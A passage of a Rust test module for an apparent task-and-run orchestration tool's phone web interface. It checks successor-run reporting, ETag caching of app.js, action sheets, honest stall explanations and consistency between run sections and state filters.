18169        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18170        assert_eq!(view1["latest_attempt"]["resolved"], false);
18171        assert_eq!(view1["latest_attempt"]["status"], "blocked");
18172        assert_eq!(view1["latest_attempt"]["done"], true);
18173
18174        // Still running: the successor exists and must be reported as such.
18175        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18176        write_run(&runs, run_a, RunStatus::Blocked);
18177        write_run(&runs, run_b, RunStatus::Implementing);
18178        let mut t3 = Task::new(
18179            "retrying".to_owned(),
18180            "do it".to_owned(),
18181            PathBuf::from("/repo"),
18182            Source::Human,
18183        );
18184        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18185        q.put(&mut t3).expect("put");
18186        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18187        assert_eq!(view3["latest_attempt"]["id"], run_b);
18188        assert_eq!(view3["latest_attempt"]["resolved"], false);
18189        assert_eq!(view3["latest_attempt"]["done"], false);
18190
18191        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
18192        // to check - not a confirmed finish, so this must not read as
18193        // resolved either, even though the run is done in the sense that
18194        // nothing is still running.
18195        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18196        write_run(&runs, noop_a, RunStatus::Blocked);
18197        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18198        let mut t2 = Task::new(
18199            "claims done".to_owned(),
18200            "do it".to_owned(),
18201            PathBuf::from("/repo"),
18202            Source::Human,
18203        );
18204        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18205        q.put(&mut t2).expect("put");
18206        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18207        assert_eq!(
18208            view2["latest_attempt"]["resolved"], false,
18209            "an unverified no-op claim must not read as a confirmed finish"
18210        );
18211
18212        // Front end: an unresolved successor must not carry the "finished
18213        // this work" note or the muted chip treatment.
18214        assert!(APP_JS.contains("latest.resolved"));
18215        // ...but the link to it shows as soon as it exists, labelled by state
18216        // and without the "finished" wording or the muted chip.
18217        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18218        assert!(APP_JS.contains("Latest attempt: "));
18219        assert!(APP_JS.contains("in flight"));
18220        assert!(APP_JS.contains("not resolved"));
18221    }
18222
18223    #[tokio::test]
18224    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18225        let fx = Fixture::start().await;
18226        // No cache header at all meant browsers invented their own policy,
18227        // and one did: a phone went on showing "Candidates must be folded
18228        // before deleting. Run `magi fold` first." - deleted two releases
18229        // earlier - from a deck that no longer contained the sentence. The
18230        // button it named was right there, and unreachable.
18231        let js = fx.get("/app.js").await;
18232        assert_eq!(js.status, 200);
18233        let tag = js
18234            .header("etag")
18235            .expect("an etag to revalidate against")
18236            .to_owned();
18237        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18238        assert_eq!(
18239            js.header("cache-control"),
18240            Some("no-cache, must-revalidate"),
18241            "the phone has to ask every time"
18242        );
18243
18244        // And the asking has to be cheap, or `must-revalidate` just means
18245        // "send the whole interface on every load".
18246        let again = fx
18247            .get_with("/app.js", &[("if-none-match", tag.as_str())])
18248            .await;
18249        assert_eq!(
18250            again.status, 304,
18251            "a deck it already has costs one round trip"
18252        );
18253        assert!(again.body.is_empty(), "304 carries no body");
18254
18255        // A weakened tag from a proxy still matches; a different build does
18256        // not, which is the case that has to deliver the new interface.
18257        let weak = fx
18258            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18259            .await;
18260        assert_eq!(weak.status, 304);
18261        let stale = fx
18262            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18263            .await;
18264        assert_eq!(stale.status, 200, "an older build must be replaced");
18265        assert!(stale.body.contains("renderRunActions"));
18266    }
18267
18268    #[test]
18269    fn the_task_detail_has_an_actions_fab_and_sheet() {
18270        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18271        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18272        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18273        // Shown only on the task route, closed everywhere else.
18274        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18275        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18276        // Refreshed whenever the detail redraws, including the loading state.
18277        assert!(APP_JS.contains("renderTaskActions(task);"));
18278        assert!(APP_JS.contains("renderTaskActions(null);"));
18279        // Same renderers and routes as the Queue card, no new endpoint.
18280        let sheet = APP_JS
18281            .find("function renderTaskActions")
18282            .expect("sheet renderer");
18283        let body = &APP_JS[sheet..sheet + 3000];
18284        assert!(body.contains("changePriority("));
18285        assert!(body.contains("openTaskEdit(task)"));
18286        assert!(body.contains("renderTaskHoldBox(host"));
18287        assert!(body.contains("renderTaskDoneBox(host"));
18288        assert!(body.contains("renderTaskDeleteBox(host"));
18289        assert!(APP_JS.contains("API.priority(id)"));
18290        assert!(APP_JS.contains("API.deleteTask(id)"));
18291        // A deleted task sends the operator back to the queue.
18292        assert!(APP_JS.contains("location.hash = \"#/queue\""));
18293        // A refusal is shown inside the sheet.
18294        assert!(APP_JS.contains("$(\"task-actions-error\")"));
18295    }
18296
18297    #[test]
18298    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18299        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18300        let actions = INDEX_HTML
18301            .find("id=\"run-actions-box\"")
18302            .expect("actions box");
18303        assert!(task < actions, "the task entry comes first in the sheet");
18304        assert!(APP_JS.contains("renderRunTaskEntry"));
18305        assert!(APP_JS.contains("\"Open task \""));
18306        // A run without a task says why there is nothing to open.
18307        assert!(APP_JS.contains("started directly, no task"));
18308        assert!(APP_JS.contains("sheet-task-link"));
18309        assert!(APP_JS.contains("task-chip-link"));
18310    }
18311
18312    #[test]
18313    fn the_deck_never_sends_the_operator_to_a_terminal() {
18314        // The whole point of the phone UI is that a terminal is not needed.
18315        // The delete control used to answer with "Run `magi fold` first."
18316        assert!(
18317            !APP_JS.contains("Run `magi fold` first"),
18318            "the deck must offer the fold, not prescribe a shell command"
18319        );
18320        assert!(APP_JS.contains("foldRun:"));
18321        assert!(APP_JS.contains("resumeRun:"));
18322        assert!(APP_JS.contains("renderRunActions"));
18323
18324        // Folding is destructive and armed in two steps, like deleting.
18325        assert!(APP_JS.contains("armedFold"));
18326        assert!(APP_JS.contains("Yes, fold worktrees"));
18327
18328        // And the copy has to say that the two actions are opposites, because
18329        // folding throws away exactly what a resume would continue from.
18330        assert!(APP_JS.contains("can no longer be resumed"));
18331    }
18332
18333    #[test]
18334    fn a_finished_run_explains_itself_with_its_own_last_line() {
18335        // The deck used to answer "why did this stop?" with a sentence chosen
18336        // by status alone. Run e633 stalled because two judges answered with
18337        // the wrong JSON shape and its card said "The panel collapsed on
18338        // agent quota" - with `quota: []` in the record and a quota-loss
18339        // counter right above it that correctly said nothing.
18340        assert!(
18341            !APP_JS.contains("collapsed on agent quota"),
18342            "a stall must not be explained by a cause the deck did not check"
18343        );
18344        assert!(
18345            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18346            "and a block must not offer a guess with an `or` in it"
18347        );
18348
18349        // The reason it does have is `run.event`, which must reach finished
18350        // runs: gating it on movement hid the recorded truth at the one moment
18351        // the operator is reading the card to find out what happened.
18352        assert!(
18353            APP_JS.contains("setText(r.event, run.event || \"\")"),
18354            "the run's last line is rendered unconditionally"
18355        );
18356        assert!(
18357            !APP_JS.contains("moving && run.event"),
18358            "and never gated on the run still moving"
18359        );
18360
18361        // Quota keeps its own counter, fed by the number actually recorded.
18362        assert!(APP_JS.contains("lost to quota"));
18363    }
18364
18365    /// The runs tree (section) and the state chips (waiting/done) are two
18366    /// independent lenses ANDed together in `renderRuns`, and some pairings
18367    /// can never both be true for any run - every "Landed"/"Ended" run is
18368    /// done by construction, so pairing either with "Active" or "In flight"
18369    /// always rendered zero cards with the filter bar still claiming
18370    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
18371    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
18372    /// a handful of (waiting, status) shapes standing in for the run
18373    /// lifecycle, because `cargo test` cannot execute the front end.
18374    ///
18375    /// That stand-in list is itself the part that drifted twice in review:
18376    /// once shipped with `waiting: true` paired with a done status the
18377    /// lifecycle cannot produce, then over-corrected into treating every
18378    /// waiting run as never done - which made "Waiting on you" look
18379    /// incompatible with "Done" even for the one real, reachable shape
18380    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
18381    /// that combination. This test parses the shapes and the done-rule back
18382    /// out of `APP_JS`, reimplements `runSection` and the five state
18383    /// predicates independently in Rust, and checks the resulting
18384    /// section/filter compatibility table against the lifecycle rules by
18385    /// hand - so either direction of drift fails it again.
18386    #[test]
18387    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18388        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18389        let shapes_body_start =
18390            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18391        let shapes_close = APP_JS[shapes_body_start..]
18392            .find("].map(")
18393            .expect("the shape list is closed by its done-computing .map(...)")
18394            + shapes_body_start;
18395        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18396
18397        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18398        for entry in shapes_src.split('{').skip(1) {
18399            let waiting = entry.contains("waiting: true");
18400            let dead = entry.contains("live: \"dead\"");
18401            let status_at =
18402                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18403            let status_end = entry[status_at..]
18404                .find('"')
18405                .expect("the status string is closed")
18406                + status_at;
18407            let parked = entry.contains("display_status: \"parked\"");
18408            shapes.push((
18409                waiting,
18410                entry[status_at..status_end].to_string(),
18411                dead,
18412                parked,
18413            ));
18414        }
18415        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
18416
18417        // The done rule itself (`!["implementing"].includes(shape.status)`),
18418        // read out of the source rather than hardcoded, so a renamed
18419        // in-flight status can't silently make every parsed shape "done".
18420        let done_rule_marker = "done: !";
18421        let done_rule_at = APP_JS[shapes_close..]
18422            .find(done_rule_marker)
18423            .expect("the done rule follows the shape list")
18424            + shapes_close
18425            + done_rule_marker.len();
18426        let includes_at = APP_JS[done_rule_at..]
18427            .find(".includes(shape.status)")
18428            .expect("the done rule ends in .includes(shape.status)")
18429            + done_rule_at;
18430        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
18431            .trim()
18432            .trim_start_matches('[')
18433            .trim_end_matches(']')
18434            .split(',')
18435            .map(|s| s.trim().trim_matches('"'))
18436            .filter(|s| !s.is_empty())
18437            .collect();
18438
18439        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
18440            .into_iter()
18441            .map(|(waiting, status, dead, parked)| {
18442                let done = !not_done.contains(&status.as_str());
18443                (waiting, status, dead, parked, done)
18444            })
18445            .collect();
18446
18447        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
18448        // outright, then merged/ready land, stalled/blocked/failed/
18449        // verified_noop end, and everything else is still in flight.
18450        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
18451            if waiting {
18452                return "waiting";
18453            }
18454            if dead
18455                && !parked
18456                && !matches!(
18457                    status,
18458                    "merged"
18459                        | "ready"
18460                        | "stalled"
18461                        | "blocked"
18462                        | "failed"
18463                        | "verified_noop"
18464                        | "superseded"
18465                        | "already_in_base"
18466                )
18467            {
18468                return "stale";
18469            }
18470            match status {
18471                "merged" | "ready" => "landed",
18472                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
18473                | "already_in_base" => "ended",
18474                _ => "flight",
18475            }
18476        }
18477
18478        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
18479        // way.
18480        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
18481            match filter_key {
18482                "active" => !done,
18483                "flight" => !done && !waiting && !dead,
18484                "stale" => !done && !waiting && dead,
18485                "waiting" => waiting,
18486                "done" => done,
18487                "all" => true,
18488                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
18489            }
18490        }
18491
18492        let compatible = |section: &str, filter_key: &str| {
18493            shapes.iter().any(|(waiting, status, dead, parked, done)| {
18494                run_section(*waiting, status, *dead, *parked) == section
18495                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
18496            })
18497        };
18498
18499        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
18500        // (active, flight, stale, waiting, done, all) - hand-derived from the
18501        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
18502        // currently contains.
18503        let expected = [
18504            ("waiting", [true, false, false, true, true, true]),
18505            ("stale", [true, false, true, false, false, true]),
18506            ("flight", [true, true, false, false, false, true]),
18507            ("landed", [false, false, false, false, true, true]),
18508            ("ended", [false, false, false, false, true, true]),
18509        ];
18510        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
18511
18512        for (section, wants) in expected {
18513            for (filter_key, want) in filter_keys.iter().zip(wants) {
18514                assert_eq!(
18515                    compatible(section, filter_key),
18516                    want,
18517                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
18518                );
18519            }
18520        }
18521
18522        // The compatibility check exists only to be acted on: both pickers
18523        // must actually consult it rather than just render its answer.
18524        assert!(
18525            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
18526        );
18527        assert!(APP_JS.contains(
18528            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
18529        ));
18530        assert!(APP_JS.contains(
18531            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
18532        ));
18533    }
18534
18535    #[tokio::test]
18536    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
18537        // An operator-named directory - git checkout or not - is never
18538        // second-guessed, even when it does not exist at all: only the
18539        // flag's own unmodified `.` default is ever eligible for discovery.
18540        let dir = tempfile::tempdir().expect("tempdir");
18541        let explicit = dir.path().join("not-a-checkout");
18542        std::fs::create_dir_all(&explicit).expect("create dir");
18543        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
18544
18545        let missing = dir.path().join("does-not-exist-at-all");
18546        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
18547    }
18548
18549    #[test]
18550    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
18551        assert!(APP_JS.contains("function statsDonutArcs"));
18552        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
18553        // A bucket click filters by the statuses src/stats.rs counts in it.
18554        assert!(APP_JS.contains("function statusInBucket"));
18555        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
18556        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
18557        let buckets = [
18558            "merged",
18559            "ready",
18560            "in_progress",
18561            "blocked",
18562            "failed",
18563            "verified_noop",
18564            "superseded",
18565            "stalled",
18566        ];
18567        for key in buckets {
18568            let var = format!("--verdict-{key}:");
18569            // Light, OS-dark and pinned-dark blocks each define it.
18570            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
18571            assert!(
18572                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
18573                "{key}"
18574            );
18575        }
18576    }
18577}